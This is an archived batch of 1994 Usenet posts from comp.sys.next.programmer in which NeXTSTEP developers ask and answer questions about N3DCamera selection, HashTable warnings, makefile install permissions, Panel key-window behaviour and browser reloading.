Newsgroups: comp.sys.next.programmer From: rodrigue@petole.imag.fr (Philippe Rodriguez) Subject: N3DCamera : I want to select a Shape, HELP !!! Message-ID: <1994Jul4.130055.3230@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France Date: Mon, 4 Jul 1994 13:00:55 GMT I created a subclass of N3DCamera. I would like to be able to select a shape in my View, using the N3DCamera's method "selectShapesIn". (in mouseDown) The problem is that this function returns a List of Shapes : the ones which are under the mouse (that's ok), but if there is more than ONE shape, I can't know which one is front ... (that is, the one the user wants to select ...) How can I do ??? Philippe Rodriguez - rodrigue@brafougne.imag.fr
From: smeester@antares (Eric Smeesters) Newsgroups: comp.sys.next.programmer Subject: No gnumake on NS !?!?!?! Date: 4 Jul 1994 14:03:53 GMT Organization: Universite Catholique de Louvain, Louvain-la-Neuve, Belgium Distribution: world Message-ID: <2v94s9$822@sci3.sri.ucl.ac.be> Keywords: gnumake, make, addprefix Hi, The command 'addprefix()' is unknown for the NS make... So, is there anything to configure or is there any WAY TO FOUND THE GNUMAKE FOR NS? Thank you so much for helping me! Eric -- Eric Smeesters e-mail: smeester@tele.ucl.ac.be Universite Catholique de Louvain Laboratoire de Telecommunications et Teledetection 2, place du Levant B-1348 Louvain-La-Neuve (Belgium)
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.programmer Subject: Re: Help! HashTable won't cooperate! Date: 4 Jul 1994 15:43:27 GMT Organization: MCSNet Services Distribution: world Message-ID: <2v9amv$l15@News1.mcs.com> References: <2v5f12$827@relay.tor.hookup.net> Keywords: HashTable In article <2v5f12$827@relay.tor.hookup.net> tudhope@hookup.net (Daniel C. Ellison) writes: > Okay, I understand that I'm _relatively_ new to NeXTSTEP programming, but this > is really driving me crazy! I've used a HashTable as close to "by the book" as > I could get, and I'm getting wierd errors when I try to compile. Here's the Daniel, The warnings like: > SLIPWatch.m:10: warning: passing arg 1 of `isKey:' makes pointer from integer are the result of passing a non-pointer type as an agument that is prototyped as 'void *'. It happens to be fine for your HashTable, but you can avoid the warning by casting the key to a void * as in: [deviceTable isKey:(void *)deviceTag] The warning: > SLIPWatch.m:12: warning: invalid receiver type `void *' results from statements like this: [[[deviceTable valueForKey:deviceTag] setMaster:self] displayWindow]; The [deviceTable valueForKey:deviceTag] message returns a 'void *' as the compiler is telling you. You can either assign this return value to a tmp variable of type id or cast the return value as: [[(id)[deviceTable valueForKey:deviceTag] setMaster:self] displayWindow]; Scott -- Scott Stark Stark International Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
Newsgroups: comp.sys.next.programmer From: glen@instep.wimsey.bc.ca Subject: Re: Setting permissions with PB.... Message-ID: <1994Jul4.153036.24951@instep.wimsey.bc.ca> Sender: usenet@instep.wimsey.bc.ca Organization: InStep Mobile Communications Inc. References: <Cs8Bo7.J3H@sounds.wa.com> Date: Mon, 4 Jul 1994 15:30:36 GMT In article <Cs8Bo7.J3H@sounds.wa.com> brianw@sounds.wa.com (Brian Willoughby) writes: > <glen@instep.wimsey.bc.ca> wrote: > >borzilda@NeXTwork.Rose-Hulman.Edu (David A Borzillo) writes: > >> Is there any arguments or anything I can add to Project Builder so that > >> when I build my app everyone will have permission to run it? Also, > >> whereever I move it it will have the same permissions? We're on the AFS > >> network here and changing the attributes in the Workspace inspector > >> doesn't help. I have to use a series of 'chmod' commands to change the > >> permission. > > > >Permissions after make install will normally be affected by the making > >user's umask in the normal Unix way. We fix it at the end of the makefile > >postamble; eg. > > > >after_install:: > > -$(CHMOD) -Rf a+r $(DSTROOT)$(INSTALLDIR)/$(NAME).app > > > >Replace a+r with whatever you need for your developers. > > > >Moving an app shouldn't change the permissions (or ownership). Copying it > >will affect the permissions with the umask in the normal Unix way. > > You may want to use the support which is already designed into the NEXTSTEP > Makefiles for this. Here is an excerpt from my Makefile.postamble to > illustrate: > > > # > # Makefile.postamble > # > > # Ownership and permissions of files installed by 'install' target > #INSTALL_AS_USER = root # User to chown app to > INSTALL_AS_GROUP = staff # Group to chgrp app to > INSTALL_PERMISSIONS = ug+s # If set, 'install' chmod's executable to this > > > e.g. in Glen's example above, her would only need to add the following line to > Makefile.postamble: > > INSTALL_PERMISSIONS = a+r > Just as a note of clarification; Brian's approach is suitable when only the executable is to be affected. The approach I used was to recursively affect all files in the .app wrapper. > -- > Brian Willoughby Software Design Engineer, BSEE from NCSU > NeXTmail welcome Sound Consulting: Software Design and Development > BrianW@SoundS.WA.com Bellevue, WA
Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: Re: How to access middle mouse button? Message-ID: <CsFCw9.E39@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services References: <2v9381$7j3@elna.ethz.ch> Date: Mon, 4 Jul 1994 16:36:07 GMT George Fankhauser (george@nice.usergroup.ethz.ch) wrote: : well, according to the documentation this is not possible. but I wonder : if anybody knows of some hack or undocumented function to make it work. : another idea was to use some ioctl on /dev/vid0, but I didn't find any- : thing in the headers or docs... You can't see more than two buttons with NS up to 3.2 and I don't know if this has changed with 3.3. peter -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peisch@cfa.org
From: michael@rs2.iaee.tuwien.ac.at () Newsgroups: comp.sys.next.programmer Subject: Panel should not become KeyWindow Date: 4 Jul 1994 16:59:50 GMT Organization: Technical University Vienna, Austria Message-ID: <2v9f66$13i@news.tuwien.ac.at> I have a created a Panel, in which I want to display some non-editable information, like the mouse position in the current keyWindow. This Panel should never become a keyWindow, that's why I used the method setBecomeKeyOnlyIfNeeded:YES . But still it can become a keyWindow. The method should act like the "Palettes" Panel of the IB. ??? Michael
Newsgroups: comp.sys.next.programmer,comp.sys.next.software From: nvenkate@acs.ucalgary.ca (Natarajan Venkateswaran) Subject: NeXT - not reading DOS diskettes Message-ID: <Jul4.174804.45723@acs.ucalgary.ca> Date: Mon, 4 Jul 1994 17:48:04 GMT Distribution: na Organization: The University of Calgary, Alberta Hi, Could somebody help us know which files are necessary for reading DOS disks on a NeXT machine. Our NeXT machine no longer reads a DOS diskette (We had a disaster recently and lost most files. We recovered most lost files from backups) but is able to read NeXT diskettes. Thanks for the help. Please email responses to nvenkate@acs.ucalgary.ca. - Natarajan Chemical Engineering nvenkate@acs.ucalgary.ca
From: pcu@umich.edu Newsgroups: comp.sys.next.programmer Subject: Re: Panel should not become KeyWindow Date: 4 Jul 1994 17:51:25 GMT Organization: University of Michigan Distribution: world Message-ID: <2v9i6t$b67@lastactionhero.rs.itd.umich.edu> References: <2v9f66$13i@news.tuwien.ac.at> In article <2v9f66$13i@news.tuwien.ac.at> michael@rs2.iaee.tuwien.ac.at () writes: > Panel should never become a keyWindow, that's why I used the method > setBecomeKeyOnlyIfNeeded:YES . But still it can become a keyWindow. Either override the canBecomeKeyWindow: method and have it always return NO, in a Category or subclass; or have a delegate intercept this with the windowDidBecomeKey: method to make it into an unKeyWindow :) are the easiest ways I can see of doing this. -- Peter Urka <pcu@umich.edu> Dept. of Chemistry, Univ. of Michigan Anything to me is sweeter, Than to see Shock-headed Peter. - H. Hoffmann
From: donnelly@galba.cs.qub.ac.uk (Paul Donnelly) Newsgroups: comp.sys.next.programmer Subject: Need help reloading browser Date: 4 Jul 1994 20:22:13 GMT Organization: Dep. Computer Sci. & Information Eng., Chiao Tung Univ., Taiwan, R.O.C Message-ID: <2v9r1l$2b0@news.csie.nctu.edu.tw> Hello, I ve been having trouble getting a simple single column browser to reload from within the browser-delegate s singleClick method. The normal command Ive been using to reload the borwser is [browser loadColumnZero], and this works fine except from within the singleClick method in which case it crashes the app giving error messages about unlockFocus being used in the wrong order or something. I tried to get round the problem by updating the browser matrix "by hand" and then calling [browser display] from within singleClick, but it is only partially working.. (it works provided the number of cells is the same or less than before, but if new cells are added, their contents is not displayed). I guess I must be doing this the wrong way.. can anyone tell me the proper way to reload the browser when an item is selected in it? Thanks in advance for any help. Paul Donnelly
These are the contents of the former NiCE NeXT User Group NeXTSTEP/OpenStep software archive, currently hosted by Marcel Waldvogel and Netfuture.ch.